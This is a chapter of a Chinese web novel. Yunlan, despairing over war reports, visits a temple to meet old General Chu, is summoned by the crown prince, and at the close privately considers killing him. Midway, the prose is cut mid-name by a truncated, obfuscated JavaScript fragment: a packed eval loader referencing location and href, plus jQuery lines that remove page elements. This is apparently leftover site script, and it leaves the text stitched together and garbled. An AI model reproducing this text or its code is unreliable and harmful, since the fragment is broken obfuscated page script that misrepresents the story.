46. 第 46 章

    随着刀槐快步入屋,黄纸张飘至落桌上,云岚顿时眼前一亮,困意尽散,衣裳还未穿戴整齐便披着外衫便冲了出来,问道:“是涉月来信了吗?”


    刀槐摇摇头,“是战报。”


    云岚泄了气,扶着桌沿慢慢坐下,今日已是第三十二日,她任没有再收到将涉月的传信,再打开战报一看,果不其然,战败、失守、战败、失守...除了战败就是失守,如往常一样不是什么好话。


    闻人靖在军中当职三十载,对虞朝的一切可谓是了如指掌,北朝本就兵强马壮,如今又有了闻人靖叛变归入其中,道一句如虎添翼也不为过。况且,对北疆原驻守军队而言,曾经的主帅叛变,这军心不松不散那才是奇了怪了。


    云岚越想越烦躁,将战报揉做一团用力抛去,看着纸团滚到角落她仍不觉得解气,真想再踩上几脚反复碾压,她问道:“刀槐,你和你姐姐之间有那种心灵感应吗?”


    “我倒是想有啊。”刀槐道:“不过,楚老将军来了,今日城门一开便进来了,在小楚将军那里落脚。”


    将涉月那位早已卸甲归乡的外祖父,连他也来了。


    “嗯。”云岚清楚自己是该去见上一面,转念一想,见了又能如何,“他来了又能如何。”


    “放心吧,小姐虽交代府内上下皆可由你全权处置,但楚老将军应暂时没空来探究你。”刀槐叹着气,拍着她的肩膀,道:


    “她们合计着你这几日忧心仲仲实是不宜出去,昨夜消息递到我这时你已歇下,今个你就且先睡个回笼觉放松一番吧,玄京观内还有事,我先走了。”


    “嗯...回见。”云岚起身向里屋走去,拐过弯,便见霁川倚在一旁,这才一会的功夫,他已梳整完毕,云岚掀起眼皮看了一眼,然后一言不发的准备继续往前走去,她被霁川抓住手腕行动受限,她叹了口气,回过头来,只静静地看着。


    如此对视片刻,霁川软下神色,牵着她走向妆台,修长如玉的手指替她将被压在外袍下的发丝慢慢挑出,她提醒道:“如今这里正是多事之秋,你在此过多停留也不怕落人口舌,九方淮沧上次如此肆意乱来引起了九重天的注意,他合该会消停一段时间的,我哪能再出什么意外。”


    霁川道:“今日要忙的事不多,等追云来了再去也不迟,旁人想就此编排我,就由她们去吧。”


    瞧着霁川这一副习以为常的样子,云岚忽然有些好奇:“她们还编排过你什么?”


    “咚。”霁川用梳子不轻不重地敲了一下她的脑袋,她龇牙咧嘴地捂着痛处,无辜道:“敲我干嘛?”


    霁川只道:“你头发打结了。”


    透过镜子,云岚看见霁川的指尖在自己的发丝中穿梭自如,何来打结之样,她失声笑着,“不想说就不想说嘛,怎得还想打我泄气了,你以前哪舍得对我说一句重话,如今竟到了这地步。”


    “我如今也没对你说过一句重话。”霁川轻轻将簪子推入发间,一个简单的垂髻便梳好了。


    云岚看着镜中的自己,眼神涣散,衣襟稍乱,硬生生将齐整的发髻衬地略显沧桑,霁川问道:“可有想去的地方,我去替你选衣服。”


    霁川想带她出去走走,可山河动荡人心惶惶,不免担忧她会触景生情,若去的远了,见到生机无限安逸闲暇,又怕她会哀道不公,可若任她在此枯坐,那更是不妥。


    云岚的回答脱口而出:“我想去看看她。”


    “我知道这不合规矩,对我对她都不好,可我总感觉有一双手在推着往前走去,应是所谓的命运、局势,这奇怪就奇怪在,这恰好是一个我愿意停留的位置。”


    不用在外奔波,不用劳心劳神殚精竭虑,有些责任担子,只是暂时的,且不一定会走到那一天。甚至于,她害怕自己会与将涉月留下太多记忆,害怕一切被扶光发觉,自己将无地自容,命运就这样安排了,让她不用纠结,无需徘徊。


    云岚将指甲嵌入皮肉,以刺痛反复提起心神,命运越是这样,她越是想要再看将涉月一眼。


    霁川整理着她的衣襟,拢上衣袍,“你感觉到了什么,对吗。”


    “嗯,将涵林死前给过我一只锦囊,里面装着他甘愿为之赴死的谶言,想要猜到并不难。”云岚眼神晦暗,“预言应验,是对道士术法的检验,猜想应验,是对人心所认定的天道的检验。”


    大多数人都会期待着答案,期待着验证自己的正确。


    霁川问道:“将涵林的魂魄可过了忘川?”


    “他们用了特殊的丹药术法,得出了个他死前并无遗憾的结论,现在应该已经入了轮回了吧。”云岚叹道:“是啊,他真自信,自信着自己的占卜术法,无需稍作停留多看一眼。”


    云岚斜斜靠去,被霁川稳稳接住,她感到泪腺涌动,硬是闭上眼睛将其逼了回去,她无力道:“我不知道。”


    她坚信不疑着,若王朝的制度积重难返,那它合该被推倒重来,如此往返,直至无暇逼近理想与完美,世间会因此动荡恐成千上万之人因此流离失所,没办法,这是这个民族自己造就的未来。至于将军是成是败,那也是她自己的命数。


    “我期望验证的,是自己是错的。”她都明白。


    霁川扣上最后一颗纽扣,轻声应道:“好。”


    想去就去吧。云岚立即起身,胡乱套着下裙,霁川边说着:“何必这么急。”边帮她系上衣带,井井有条。


    云岚吩咐:“我要去见楚老将军。”


    “帮我转告追云,别来掺合,你也是。”


    云岚只身到府前,左等右等,等到是楚老将军已去玄京观的消息,追云猫墙后,小声道:“继续跟上?我们这样真的没关系吗?”


    “自然有关系。”霁川双手依在墙边,道:“她不让参与的,是因嫌我们恐成累赘。”


    追云挺直脊背,有些不可置信地打量着霁川:“怎么能这样想姐姐?既如此你又何必跟来。”


    “来给你个提醒。”霁川看着云岚远去的背景,道:“我该去九重天上候着了。”


    /


    云岚踮起脚跟,透过人群远远朝刀槐招手。


    “你怎么来了?”刀槐将云岚拉向角落,“你没瞧见沿路的官兵吗?前些日子你在殿上的插了一脚,将溢之当时没找你算账是因为小姐尚在城内,如今小姐不在你又在他眼皮子底下晃荡,保不准他怀恨至今找你算账呢。”


    云岚道:“本来是想去找楚老将军,听说他在这便就来了。”


    刀


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fro|15114572|160326||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    槐问道:“话说,你见楚老将军做什么?以前倒没见你这么积极。”


    云岚道:“不做什么,就是感觉自己必须要见上一面,聊上几句。”


    刀槐吃惊:“你不认真思考一番就来了?”


    云岚道:“我认真想过了啊。”


    刀槐本能的想劝她要深思熟虑,可恍然抬眼一瞧,云岚就站在旭日香火中,香火袅袅升起,光线跃动其中,忽而纯白厚实、忽而稀薄四散,刀槐瞧着她,瞧不出一丝一毫的情绪波动,兴奋、迟疑、悲悯、天真,任何一种情绪都可以表明,她的这个决定有受情绪影响的成分,俗称上了头。


    越是确认着她的平静,刀槐越是难以找不到切口进行劝服,刀槐第一次怀疑对将涉月的指令产生怀疑,将涉月临行前特地吩咐过,云岚想做什么就由她去吧。


    刀槐问道:“你就不害怕有何差池。”


    “差池、失败又如何,楚老入都的第一件事便是来这,就连将溢之也在这。”云岚抬起下巴,斜眼打量着周遭,讥讽道:


    “我一路走来,城内街巷好不冷清,然而越是近了这玄京观,便越是人声鼎沸,瞧着炉内香火旺盛,说恍然间感觉回到了从前也是匮乏,毕竟从前若非逢年过节这里哪能这么热闹,是吧。”


    刀槐重重的叹了口气,道:“这世道就是这样,没办法不是。”


    云岚懒得再和她废话,直截了当道:“没关系,你若不愿帮我递这个口信我也会不强求,我可以自己想办法。”


    “得了吧,若放你一个人瞎跑出了事,被小姐质问的人是我。”刀槐重重踢过三次墙根,转身离去,招呼道:“走吧,他们在内观,皇室专用地,待你一个人摸进去天都要黑了。”


    凭借将涉月的令牌穿过禁军包围,刀槐领着云岚进了一旁偏殿,道:“你且在这等我向楚老将军通报一声,今日朝中重臣皆在此祭祀,恐得等久一会。”


    “我知道了,谢谢。”


    “咚咚咚…”


    云岚看向被敲响的房门,如今距刀槐离开不过一刻钟,她心里犯起嘀咕:一个来回这么快,这么感觉怪怪的。


    开了门,果不其然,来者是一陌生男子,身穿禁卫深红色体服腰挂横刀。


    怪不得效率这么高。


    云岚双手环胸,抢先开口:“将溢之派你来的?”


    “叨扰姑娘了,抱歉。”男子拱手道:“殿下请姑娘去大殿走一趟。”


    “我还未寻到机会去找你,你倒自己送上门来了,上次你入殿也是这般行横无礼,我原以为你不过是狗仗人势,如今一瞧,竟是蛮横无知。”将溢之专注着将托盘内的器具摆到供台上,丝毫不看向云岚一眼。


    挑空了三层的屋顶之下,是三十六尊神像错落有致,周遭围着七百六十二位仙者,云岚仰头仰头望着,嗤笑道:


    “正所谓‘心存邪僻任尔烧香无点益,持身正大见吾不拜又何妨’【1】,我见他们都不需要跪,你?一个不仅连龙椅扶手都没摸到,还尽做些劳而无功之事的太子,配吗?”


    “正巧,我也找你有些事。”


    把他杀了,扶个听话的上来,也算个便捷的法子。她是不喜欢沾血,不想背上人命,但没关系,该死的都得死。